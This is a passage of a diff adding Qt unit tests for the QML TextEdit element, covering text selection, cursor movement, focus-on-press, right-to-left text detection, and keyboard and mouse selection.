+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->persistentSelection(), true);
+ }
+
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { persistentSelection: false; text: \"Hello World\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->persistentSelection(), false);
+ }
+}
+
+void tst_qdeclarativetextedit::focusOnPress()
+{
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { activeFocusOnPress: true; text: \"Hello World\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->focusOnPress(), true);
+ }
+
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { activeFocusOnPress: false; text: \"Hello World\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->focusOnPress(), false);
+ }
+}
+
+void tst_qdeclarativetextedit::selection()
+{
+ QString testStr = standard[0];//TODO: What should happen for multiline/rich text?
+ QString componentStr = "import QtQuick 1.0\nTextEdit { text: \""+ testStr +"\"; }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+ QVERIFY(textEditObject != 0);
+
+
+ //Test selection follows cursor
+ for(int i=0; i<= testStr.size(); i++) {
+ textEditObject->setCursorPosition(i);
+ QCOMPARE(textEditObject->cursorPosition(), i);
+ QCOMPARE(textEditObject->selectionStart(), i);
+ QCOMPARE(textEditObject->selectionEnd(), i);
+ QVERIFY(textEditObject->selectedText().isNull());
+ }
+ //Test cursor follows selection
+ for(int i=0; i<= testStr.size(); i++) {
+ textEditObject->select(i,i);
+ QCOMPARE(textEditObject->cursorPosition(), i);
+ QCOMPARE(textEditObject->selectionStart(), i);
+ QCOMPARE(textEditObject->selectionEnd(), i);
+ }
+
+
+ textEditObject->setCursorPosition(0);
+ QVERIFY(textEditObject->cursorPosition() == 0);
+ QVERIFY(textEditObject->selectionStart() == 0);
+ QVERIFY(textEditObject->selectionEnd() == 0);
+ QVERIFY(textEditObject->selectedText().isNull());
+
+ // Verify invalid positions are ignored.
+ textEditObject->setCursorPosition(-1);
+ QVERIFY(textEditObject->cursorPosition() == 0);
+ QVERIFY(textEditObject->selectionStart() == 0);
+ QVERIFY(textEditObject->selectionEnd() == 0);
+ QVERIFY(textEditObject->selectedText().isNull());
+
+ textEditObject->setCursorPosition(textEditObject->text().count()+1);
+ QVERIFY(textEditObject->cursorPosition() == 0);
+ QVERIFY(textEditObject->selectionStart() == 0);
+ QVERIFY(textEditObject->selectionEnd() == 0);
+ QVERIFY(textEditObject->selectedText().isNull());
+
+ //Test selection
+ for(int i=0; i<= testStr.size(); i++) {
+ textEditObject->select(0,i);
+ QCOMPARE(testStr.mid(0,i), textEditObject->selectedText());
+ QCOMPARE(textEditObject->cursorPosition(), i);
+ }
+ for(int i=0; i<= testStr.size(); i++) {
+ textEditObject->select(i,testStr.size());
+ QCOMPARE(testStr.mid(i,testStr.size()-i), textEditObject->selectedText());
+ QCOMPARE(textEditObject->cursorPosition(), testStr.size());
+ }
+
+ textEditObject->setCursorPosition(0);
+ QVERIFY(textEditObject->cursorPosition() == 0);
+ QVERIFY(textEditObject->selectionStart() == 0);
+ QVERIFY(textEditObject->selectionEnd() == 0);
+ QVERIFY(textEditObject->selectedText().isNull());
+
+ //Test Error Ignoring behaviour
+ textEditObject->setCursorPosition(0);
+ QVERIFY(textEditObject->selectedText().isNull());
+ textEditObject->select(-10,0);
+ QVERIFY(textEditObject->selectedText().isNull());
+ textEditObject->select(100,101);
+ QVERIFY(textEditObject->selectedText().isNull());
+ textEditObject->select(0,-10);
+ QVERIFY(textEditObject->selectedText().isNull());
+ textEditObject->select(0,100);
+ QVERIFY(textEditObject->selectedText().isNull());
+ textEditObject->select(0,10);
+ QVERIFY(textEditObject->selectedText().size() == 10);
+ textEditObject->select(-10,0);
+ QVERIFY(textEditObject->selectedText().size() == 10);
+ textEditObject->select(100,101);
+ QVERIFY(textEditObject->selectedText().size() == 10);
+ textEditObject->select(0,-10);
+ QVERIFY(textEditObject->selectedText().size() == 10);
+ textEditObject->select(0,100);
+ QVERIFY(textEditObject->selectedText().size() == 10);
+
+ textEditObject->deselect();
+ QVERIFY(textEditObject->selectedText().isNull());
+ textEditObject->select(0,10);
+ QVERIFY(textEditObject->selectedText().size() == 10);
+ textEditObject->deselect();
+ QVERIFY(textEditObject->selectedText().isNull());
+}
+
+void tst_qdeclarativetextedit::isRightToLeft_data()
+{
+ QTest::addColumn<QString>("text");
+ QTest::addColumn<bool>("emptyString");
+ QTest::addColumn<bool>("firstCharacter");
+ QTest::addColumn<bool>("lastCharacter");
+ QTest::addColumn<bool>("middleCharacter");
+ QTest::addColumn<bool>("startString");
+ QTest::addColumn<bool>("midString");
+ QTest::addColumn<bool>("endString");
+
+ const quint16 arabic_str[] = { 0x0638, 0x0643, 0x00646, 0x0647, 0x0633, 0x0638, 0x0643, 0x00646, 0x0647, 0x0633, 0x0647};
+ QTest::newRow("Empty") << "" << false << false << false << false << false << false << false;
+ QTest::newRow("Neutral") << "23244242" << false << false << false << false << false << false << false;
+ QTest::newRow("LTR") << "Hello world" << false << false << false << false << false << false << false;
+ QTest::newRow("RTL") << QString::fromUtf16(arabic_str, 11) << false << true << true << true << true << true << true;
+ QTest::newRow("Bidi RTL + LTR + RTL") << QString::fromUtf16(arabic_str, 11) + QString("Hello world") + QString::fromUtf16(arabic_str, 11) << false << true << true << false << true << true << true;
+ QTest::newRow("Bidi LTR + RTL + LTR") << QString("Hello world") + QString::fromUtf16(arabic_str, 11) + QString("Hello world") << false << false << false << true << false << false << false;
+}
+
+void tst_qdeclarativetextedit::isRightToLeft()
+{
+ QFETCH(QString, text);
+ QFETCH(bool, emptyString);
+ QFETCH(bool, firstCharacter);
+ QFETCH(bool, lastCharacter);
+ QFETCH(bool, middleCharacter);
+ QFETCH(bool, startString);
+ QFETCH(bool, midString);
+ QFETCH(bool, endString);
+
+ QDeclarativeTextEdit textEdit;
+ textEdit.setText(text);
+
+ // first test that the right string is delivered to the QString::isRightToLeft()
+ QCOMPARE(textEdit.isRightToLeft(0,0), text.mid(0,0).isRightToLeft());
+ QCOMPARE(textEdit.isRightToLeft(0,1), text.mid(0,1).isRightToLeft());
+ QCOMPARE(textEdit.isRightToLeft(text.count()-2, text.count()-1), text.mid(text.count()-2, text.count()-1).isRightToLeft());
+ QCOMPARE(textEdit.isRightToLeft(text.count()/2, text.count()/2 + 1), text.mid(text.count()/2, text.count()/2 + 1).isRightToLeft());
+ QCOMPARE(textEdit.isRightToLeft(0,text.count()/4), text.mid(0,text.count()/4).isRightToLeft());
+ QCOMPARE(textEdit.isRightToLeft(text.count()/4,3*text.count()/4), text.mid(text.count()/4,3*text.count()/4).isRightToLeft());
+ if (text.isEmpty())
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: QML TextEdit: isRightToLeft(start, end) called with the end property being smaller than the start.");
+ QCOMPARE(textEdit.isRightToLeft(3*text.count()/4,text.count()-1), text.mid(3*text.count()/4,text.count()-1).isRightToLeft());
+
+ // then test that the feature actually works
+ QCOMPARE(textEdit.isRightToLeft(0,0), emptyString);
+ QCOMPARE(textEdit.isRightToLeft(0,1), firstCharacter);
+ QCOMPARE(textEdit.isRightToLeft(text.count()-2, text.count()-1), lastCharacter);
+ QCOMPARE(textEdit.isRightToLeft(text.count()/2, text.count()/2 + 1), middleCharacter);
+ QCOMPARE(textEdit.isRightToLeft(0,text.count()/4), startString);
+ QCOMPARE(textEdit.isRightToLeft(text.count()/4,3*text.count()/4), midString);
+ if (text.isEmpty())
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: QML TextEdit: isRightToLeft(start, end) called with the end property being smaller than the start.");
+ QCOMPARE(textEdit.isRightToLeft(3*text.count()/4,text.count()-1), endString);
+}
+
+void tst_qdeclarativetextedit::keySelection()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/navigation.qml");
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+ canvas->setFocus();
+
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeTextEdit *input = qobject_cast<QDeclarativeTextEdit *>(qvariant_cast<QObject *>(canvas->rootObject()->property("myInput")));
+
+ QVERIFY(input != 0);
+ QTRY_VERIFY(input->hasActiveFocus() == true);
+
+ QSignalSpy spy(input, SIGNAL(selectionChanged()));
+
+ simulateKey(canvas, Qt::Key_Right, Qt::ShiftModifier);
+ QVERIFY(input->hasActiveFocus() == true);
+ QCOMPARE(input->selectedText(), QString("a"));
+ QCOMPARE(spy.count(), 1);
+ simulateKey(canvas, Qt::Key_Right);
+ QVERIFY(input->hasActiveFocus() == true);
+ QCOMPARE(input->selectedText(), QString());
+ QCOMPARE(spy.count(), 2);
+ simulateKey(canvas, Qt::Key_Right);
+ QVERIFY(input->hasActiveFocus() == false);
+ QCOMPARE(input->selectedText(), QString());
+ QCOMPARE(spy.count(), 2);
+
+ simulateKey(canvas, Qt::Key_Left);
+ QVERIFY(input->hasActiveFocus() == true);
+ QCOMPARE(spy.count(), 2);
+ simulateKey(canvas, Qt::Key_Left, Qt::ShiftModifier);
+ QVERIFY(input->hasActiveFocus() == true);
+ QCOMPARE(input->selectedText(), QString("a"));
+ QCOMPARE(spy.count(), 3);
+ simulateKey(canvas, Qt::Key_Left);
+ QVERIFY(input->hasActiveFocus() == true);
+ QCOMPARE(input->selectedText(), QString());
+ QCOMPARE(spy.count(), 4);
+ simulateKey(canvas, Qt::Key_Left);
+ QVERIFY(input->hasActiveFocus() == false);
+ QCOMPARE(input->selectedText(), QString());
+ QCOMPARE(spy.count(), 4);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextedit::moveCursorSelection_data()
+{
+ QTest::addColumn<QString>("testStr");
+ QTest::addColumn<int>("cursorPosition");
+ QTest::addColumn<int>("movePosition");
+ QTest::addColumn<QDeclarativeTextEdit::SelectionMode>("mode");
+ QTest::addColumn<int>("selectionStart");
+ QTest::addColumn<int>("selectionEnd");
+ QTest::addColumn<bool>("reversible");
+
+ QTest::newRow("(t)he|characters")
+ << standard[0] << 0 << 1 << QDeclarativeTextEdit::SelectCharacters << 0 << 1 << true;
+ QTest::newRow("do(g)|characters")
+ << standard[0] << 43 << 44 << QDeclarativeTextEdit::SelectCharacters << 43 << 44 << true;
+ QTest::newRow("jum(p)ed|characters")
+ << standard[0] << 23 << 24 << QDeclarativeTextEdit::SelectCharacters << 23 << 24 << true;
+ QTest::newRow("jumped( )over|characters")
+ << standard[0] << 26 << 27 << QDeclarativeTextEdit::SelectCharacters << 26 << 27 << true;
+ QTest::newRow("(the )|characters")
+ << standard[0] << 0 << 4 << QDeclarativeTextEdit::SelectCharacters << 0 << 4 << true;
+ QTest::newRow("( dog)|characters")
+ << standard[0] << 40 << 44 << QDeclarativeTextEdit::SelectCharacters << 40 << 44 << true;
+ QTest::newRow("( jumped )|characters")
+ << standard[0] << 19 << 27 << QDeclarativeTextEdit::SelectCharacters << 19 << 27 << true;
+ QTest::newRow("th(e qu)ick|characters")
+ << standard[0] << 2 << 6 << QDeclarativeTextEdit::SelectCharacters << 2 << 6 << true;
+ QTest::newRow("la(zy d)og|characters")
+ << standard[0] << 38 << 42 << QDeclarativeTextEdit::SelectCharacters << 38 << 42 << true;
+ QTest::newRow("jum(ped ov)er|characters")
+ << standard[0] << 23 << 29 << QDeclarativeTextEdit::SelectCharacters << 23 << 29 << true;
+ QTest::newRow("()the|characters")
+ << standard[0] << 0 << 0 << QDeclarativeTextEdit::SelectCharacters << 0 << 0 << true;
+ QTest::newRow("dog()|characters")
+ << standard[0] << 44 << 44 << QDeclarativeTextEdit::SelectCharacters << 44 << 44 << true;
+ QTest::newRow("jum()ped|characters")
+ << standard[0] << 23 << 23 << QDeclarativeTextEdit::SelectCharacters << 23 << 23 << true;
+
+ QTest::newRow("<(t)he>|words")
+ << standard[0] << 0 << 1 << QDeclarativeTextEdit::SelectWords << 0 << 3 << true;
+ QTest::newRow("<do(g)>|words")
+ << standard[0] << 43 << 44 << QDeclarativeTextEdit::SelectWords << 41 << 44 << true;
+ QTest::newRow("<jum(p)ed>|words")
+ << standard[0] << 23 << 24 << QDeclarativeTextEdit::SelectWords << 20 << 26 << true;
+ QTest::newRow("<jumped( )>over|words")
+ << standard[0] << 26 << 27 << QDeclarativeTextEdit::SelectWords << 20 << 27 << false;
+ QTest::newRow("jumped<( )over>|words,reversed")
+ << standard[0] << 27 << 26 << QDeclarativeTextEdit::SelectWords << 26 << 31 << false;
+ QTest::newRow("<(the )>quick|words")
+ << standard[0] << 0 << 4 << QDeclarativeTextEdit::SelectWords << 0 << 4 << false;
+ QTest::newRow("<(the )quick>|words,reversed")
+ << standard[0] << 4 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 9 << false;
+ QTest::newRow("<lazy( dog)>|words")
+ << standard[0] << 40 << 44 << QDeclarativeTextEdit::SelectWords << 36 << 44 << false;
+ QTest::newRow("lazy<( dog)>|words,reversed")
+ << standard[0] << 44 << 40 << QDeclarativeTextEdit::SelectWords << 40 << 44 << false;
+ QTest::newRow("<fox( jumped )>over|words")
+ << standard[0] << 19 << 27 << QDeclarativeTextEdit::SelectWords << 16 << 27 << false;
+ QTest::newRow("fox<( jumped )over>|words,reversed")
+ << standard[0] << 27 << 19 << QDeclarativeTextEdit::SelectWords << 19 << 31 << false;
+ QTest::newRow("<th(e qu)ick>|words")
+ << standard[0] << 2 << 6 << QDeclarativeTextEdit::SelectWords << 0 << 9 << true;
+ QTest::newRow("<la(zy d)og|words>")
+ << standard[0] << 38 << 42 << QDeclarativeTextEdit::SelectWords << 36 << 44 << true;
+ QTest::newRow("<jum(ped ov)er>|words")
+ << standard[0] << 23 << 29 << QDeclarativeTextEdit::SelectWords << 20 << 31 << true;
+ QTest::newRow("<()>the|words")
+ << standard[0] << 0 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 0 << true;
+ QTest::newRow("dog<()>|words")
+ << standard[0] << 44 << 44 << QDeclarativeTextEdit::SelectWords << 44 << 44 << true;
+ QTest::newRow("jum<()>ped|words")
+ << standard[0] << 23 << 23 << QDeclarativeTextEdit::SelectWords << 23 << 23 << true;
+
+ QTest::newRow("Hello<(,)> |words")
+ << standard[2] << 5 << 6 << QDeclarativeTextEdit::SelectWords << 5 << 6 << true;
+ QTest::newRow("Hello<(, )>world|words")
+ << standard[2] << 5 << 7 << QDeclarativeTextEdit::SelectWords << 5 << 7 << false;
+ QTest::newRow("Hello<(, )world>|words,reversed")
+ << standard[2] << 7 << 5 << QDeclarativeTextEdit::SelectWords << 5 << 12 << false;
+ QTest::newRow("<Hel(lo, )>world|words")
+ << standard[2] << 3 << 7 << QDeclarativeTextEdit::SelectWords << 0 << 7 << false;
+ QTest::newRow("<Hel(lo, )world>|words,reversed")
+ << standard[2] << 7 << 3 << QDeclarativeTextEdit::SelectWords << 0 << 12 << false;
+ QTest::newRow("<Hel(lo)>,|words")
+ << standard[2] << 3 << 5 << QDeclarativeTextEdit::SelectWords << 0 << 5 << true;
+ QTest::newRow("Hello<()>,|words")
+ << standard[2] << 5 << 5 << QDeclarativeTextEdit::SelectWords << 5 << 5 << true;
+ QTest::newRow("Hello,<()>|words")
+ << standard[2] << 6 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 6 << true;
+ QTest::newRow("Hello<,( )>world|words")
+ << standard[2] << 6 << 7 << QDeclarativeTextEdit::SelectWords << 5 << 7 << false;
+ QTest::newRow("Hello,<( )world>|words,reversed")
+ << standard[2] << 7 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 12 << false;
+ QTest::newRow("Hello<,( world)>|words")
+ << standard[2] << 6 << 12 << QDeclarativeTextEdit::SelectWords << 5 << 12 << false;
+ QTest::newRow("Hello,<( world)>|words,reversed")
+ << standard[2] << 12 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 12 << false;
+ QTest::newRow("Hello<,( world!)>|words")
+ << standard[2] << 6 << 13 << QDeclarativeTextEdit::SelectWords << 5 << 13 << false;
+ QTest::newRow("Hello,<( world!)>|words,reversed")
+ << standard[2] << 13 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 13 << false;
+ QTest::newRow("Hello<(, world!)>|words")
+ << standard[2] << 5 << 13 << QDeclarativeTextEdit::SelectWords << 5 << 13 << true;
+ QTest::newRow("world<(!)>|words")
+ << standard[2] << 12 << 13 << QDeclarativeTextEdit::SelectWords << 12 << 13 << true;
+ QTest::newRow("world!<()>)|words")
+ << standard[2] << 13 << 13 << QDeclarativeTextEdit::SelectWords << 13 << 13 << true;
+ QTest::newRow("world<()>!)|words")
+ << standard[2] << 12 << 12 << QDeclarativeTextEdit::SelectWords << 12 << 12 << true;
+
+ QTest::newRow("<(,)>olleH |words")
+ << standard[3] << 7 << 8 << QDeclarativeTextEdit::SelectWords << 7 << 8 << true;
+ QTest::newRow("<dlrow( ,)>olleH|words")
+ << standard[3] << 6 << 8 << QDeclarativeTextEdit::SelectWords << 1 << 8 << false;
+ QTest::newRow("dlrow<( ,)>olleH|words,reversed")
+ << standard[3] << 8 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 8 << false;
+ QTest::newRow("<dlrow( ,ol)leH>|words")
+ << standard[3] << 6 << 10 << QDeclarativeTextEdit::SelectWords << 1 << 13 << false;
+ QTest::newRow("dlrow<( ,ol)leH>|words,reversed")
+ << standard[3] << 10 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 13 << false;
+ QTest::newRow(",<(ol)leH>,|words")
+ << standard[3] << 8 << 10 << QDeclarativeTextEdit::SelectWords << 8 << 13 << true;
+ QTest::newRow(",<()>olleH|words")
+ << standard[3] << 8 << 8 << QDeclarativeTextEdit::SelectWords << 8 << 8 << true;
+ QTest::newRow("<()>,olleH|words")
+ << standard[3] << 7 << 7 << QDeclarativeTextEdit::SelectWords << 7 << 7 << true;
+ QTest::newRow("<dlrow( )>,olleH|words")
+ << standard[3] << 6 << 7 << QDeclarativeTextEdit::SelectWords << 1 << 7 << false;
+ QTest::newRow("dlrow<( ),>olleH|words,reversed")
+ << standard[3] << 7 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 8 << false;
+ QTest::newRow("<(dlrow )>,olleH|words")
+ << standard[3] << 1 << 7 << QDeclarativeTextEdit::SelectWords << 1 << 7 << false;
+ QTest::newRow("<(dlrow ),>olleH|words,reversed")
+ << standard[3] << 7 << 1 << QDeclarativeTextEdit::SelectWords << 1 << 8 << false;
+ QTest::newRow("<(!dlrow )>,olleH|words")
+ << standard[3] << 0 << 7 << QDeclarativeTextEdit::SelectWords << 0 << 7 << false;
+ QTest::newRow("<(!dlrow ),>olleH|words,reversed")
+ << standard[3] << 7 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 8 << false;
+ QTest::newRow("(!dlrow ,)olleH|words")
+ << standard[3] << 0 << 8 << QDeclarativeTextEdit::SelectWords << 0 << 8 << true;
+ QTest::newRow("<(!)>dlrow|words")
+ << standard[3] << 0 << 1 << QDeclarativeTextEdit::SelectWords << 0 << 1 << true;
+ QTest::newRow("<()>!dlrow|words")
+ << standard[3] << 0 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 0 << true;
+ QTest::newRow("!<()>dlrow|words")
+ << standard[3] << 1 << 1 << QDeclarativeTextEdit::SelectWords << 1 << 1 << true;
+}
+
+void tst_qdeclarativetextedit::moveCursorSelection()
+{
+ QFETCH(QString, testStr);
+ QFETCH(int, cursorPosition);
+ QFETCH(int, movePosition);
+ QFETCH(QDeclarativeTextEdit::SelectionMode, mode);
+ QFETCH(int, selectionStart);
+ QFETCH(int, selectionEnd);
+ QFETCH(bool, reversible);
+
+ QString componentStr = "import QtQuick 1.1\nTextEdit { text: \""+ testStr +"\"; }";
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *texteditObject = qobject_cast<QDeclarativeTextEdit*>(textinputComponent.create());
+ QVERIFY(texteditObject != 0);
+
+ texteditObject->setCursorPosition(cursorPosition);
+ texteditObject->moveCursorSelection(movePosition, mode);
+
+ QCOMPARE(texteditObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
+ QCOMPARE(texteditObject->selectionStart(), selectionStart);
+ QCOMPARE(texteditObject->selectionEnd(), selectionEnd);
+
+ if (reversible) {
+ texteditObject->setCursorPosition(movePosition);
+ texteditObject->moveCursorSelection(cursorPosition, mode);
+
+ QCOMPARE(texteditObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
+ QCOMPARE(texteditObject->selectionStart(), selectionStart);
+ QCOMPARE(texteditObject->selectionEnd(), selectionEnd);
+ }
+}
+
+void tst_qdeclarativetextedit::moveCursorSelectionSequence_data()
+{
+ QTest::addColumn<QString>("testStr");
+ QTest::addColumn<int>("cursorPosition");
+ QTest::addColumn<int>("movePosition1");
+ QTest::addColumn<int>("movePosition2");
+ QTest::addColumn<int>("selection1Start");
+ QTest::addColumn<int>("selection1End");
+ QTest::addColumn<int>("selection2Start");
+ QTest::addColumn<int>("selection2End");
+
+ QTest::newRow("the {<quick( bro)wn> f^ox} jumped|ltr")
+ << standard[0]
+ << 9 << 13 << 17
+ << 4 << 15
+ << 4 << 19;
+ QTest::newRow("the quick<( {bro)wn> f^ox} jumped|rtl")
+ << standard[0]
+ << 13 << 9 << 17
+ << 9 << 15
+ << 10 << 19;
+ QTest::newRow("the {<quick( bro)wn> ^}fox jumped|ltr")
+ << standard[0]
+ << 9 << 13 << 16
+ << 4 << 15
+ << 4 << 16;
+ QTest::newRow("the quick<( {bro)wn> ^}fox jumped|rtl")
+ << standard[0]
+ << 13 << 9 << 16
+ << 9 << 15
+ << 10 << 16;
+ QTest::newRow("the {<quick( bro)wn^>} fox jumped|ltr")
+ << standard[0]
+ << 9 << 13 << 15
+ << 4 << 15
+ << 4 << 15;
+ QTest::newRow("the quick<( {bro)wn^>} f^ox jumped|rtl")
+ << standard[0]
+ << 13 << 9 << 15
+ << 9 << 15
+ << 10 << 15;
+ QTest::newRow("the {<quick() ^}bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 10
+ << 4 << 15
+ << 4 << 10;
+ QTest::newRow("the quick<(^ {^bro)wn>} fox|rtl")
+ << standard[0]
+ << 13 << 9 << 10
+ << 9 << 15
+ << 10 << 15;
+ QTest::newRow("the {<quick^}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 9
+ << 4 << 15
+ << 4 << 9;
+ QTest::newRow("the quick{<(^ bro)wn>} fox|rtl")
+ << standard[0]
+ << 13 << 9 << 9
+ << 9 << 15
+ << 9 << 15;
+ QTest::newRow("the {<qui^ck}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 7
+ << 4 << 15
+ << 4 << 9;
+ QTest::newRow("the {<qui^ck}( bro)wn> fox|rtl")
+ << standard[0]
+ << 13 << 9 << 7
+ << 9 << 15
+ << 4 << 15;
+ QTest::newRow("the {<^quick}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 4
+ << 4 << 15
+ << 4 << 9;
+ QTest::newRow("the {<^quick}( bro)wn> fox|rtl")
+ << standard[0]
+ << 13 << 9 << 4
+ << 9 << 15
+ << 4 << 15;
+ QTest::newRow("the{^ <quick}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 3
+ << 4 << 15
+ << 3 << 9;
+ QTest::newRow("the{^ <quick}( bro)wn> fox|rtl")
+ << standard[0]
+ << 13 << 9 << 3
+ << 9 << 15
+ << 3 << 15;
+ QTest::newRow("{t^he <quick}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 1
+ << 4 << 15
+ << 0 << 9;
+ QTest::newRow("{t^he <quick}( bro)wn> fox|rtl")
+ << standard[0]
+ << 13 << 9 << 1
+ << 9 << 15
+ << 0 << 15;
+
+ QTest::newRow("{<He(ll)o>, w^orld}!|ltr")
+ << standard[2]
+ << 2 << 4 << 8
+ << 0 << 5
+ << 0 << 12;
+ QTest::newRow("{<He(ll)o>, w^orld}!|rtl")
+ << standard[2]
+ << 4 << 2 << 8
+ << 0 << 5
+ << 0 << 12;
+
+ QTest::newRow("!{dlro^w ,<o(ll)eH>}|ltr")
+ << standard[3]
+ << 9 << 11 << 5
+ << 8 << 13
+ << 1 << 13;
+ QTest::newRow("!{dlro^w ,<o(ll)eH>}|rtl")
+ << standard[3]
+ << 11 << 9 << 5
+ << 8 << 13
+ << 1 << 13;
+}
+
+void tst_qdeclarativetextedit::moveCursorSelectionSequence()
+{
+ QFETCH(QString, testStr);
+ QFETCH(int, cursorPosition);
+ QFETCH(int, movePosition1);
+ QFETCH(int, movePosition2);
+ QFETCH(int, selection1Start);
+ QFETCH(int, selection1End);
+ QFETCH(int, selection2Start);
+ QFETCH(int, selection2End);
+
+ QString componentStr = "import QtQuick 1.1\nTextEdit { text: \""+ testStr +"\"; }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *texteditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+ QVERIFY(texteditObject != 0);
+
+ texteditObject->setCursorPosition(cursorPosition);
+
+ texteditObject->moveCursorSelection(movePosition1, QDeclarativeTextEdit::SelectWords);
+ QCOMPARE(texteditObject->selectedText(), testStr.mid(selection1Start, selection1End - selection1Start));
+ QCOMPARE(texteditObject->selectionStart(), selection1Start);
+ QCOMPARE(texteditObject->selectionEnd(), selection1End);
+
+ texteditObject->moveCursorSelection(movePosition2, QDeclarativeTextEdit::SelectWords);
+ QCOMPARE(texteditObject->selectedText(), testStr.mid(selection2Start, selection2End - selection2Start));
+ QCOMPARE(texteditObject->selectionStart(), selection2Start);
+ QCOMPARE(texteditObject->selectionEnd(), selection2End);
+}
+
+
+void tst_qdeclarativetextedit::mouseSelection_data()
+{
+ QTest::addColumn<QString>("qmlfile");
+ QTest::addColumn<int>("from");
+ QTest::addColumn<int>("to");
+ QTest::addColumn<QString>("selectedText");
+
+ // import installed
+ QTest::newRow("on") << SRCDIR "/data/mouseselection_true.qml" << 4 << 9 << "45678";
+ QTest::newRow("off") << SRCDIR "/data/mouseselection_false.qml" << 4 << 9 << QString();
+ QTest::newRow("default") << SRCDIR "/data/mouseselection_default.qml" << 4 << 9 << QString();
+ QTest::newRow("off word selection") << SRCDIR "/data/mouseselection_false_words.qml" << 4 << 9 << QString();
+ QTest::newRow("on word selection (4,9)") << SRCDIR "/data/mouseselection_true_words.qml" << 4 << 9 << "0123456789";
+ QTest::newRow("on word selection (2,13)") << SRCDIR "/data/mouseselection_true_words.qml" << 2 << 13 << "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+ QTest::newRow("on word selection (2,30)") << SRCDIR "/data/mouseselection_true_words.qml" << 2 << 30 << "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+ QTest::newRow("on word selection (9,13)") << SRCDIR "/data/mouseselection_true_words.qml" << 9 << 13 << "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+ QTest::newRow("on word selection (9,30)") << SRCDIR "/data/mouseselection_true_words.qml" << 9 << 30 << "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+ QTest::newRow("on word selection (13,2)") << SRCDIR "/data/mouseselection_true_words.qml" << 13 << 2 << "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+ QTest::newRow("on word selection (20,2)") << SRCDIR "/data/mouseselection_true_words.qml" << 20 << 2 << "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+ QTest::newRow("on word selection (12,9)") << SRCDIR "/data/mouseselection_true_words.qml" << 12 << 9 << "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+ QTest::newRow("on word selection (30,9)") << SRCDIR "/data/mouseselection_true_words.qml" << 30 << 9 << "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+}
+
+void tst_qdeclarativetextedit::mouseSelection()
+{
+ QFETCH(QString, qmlfile);
+ QFETCH(int, from);
+ QFETCH(int, to);
+ QFETCH(QString, selectedText);
+
+ QDeclarativeView *canvas = createView(qmlfile);
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QVERIFY(canvas->rootObject() != 0);
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit *>(canvas->rootObject());
+ QVERIFY(textEditObject != 0);
+
+ // press-and-drag-and-release from x1 to x2
+ QPoint p1 = canvas->mapFromScene(textEditObject->positionToRectangle(from).center());
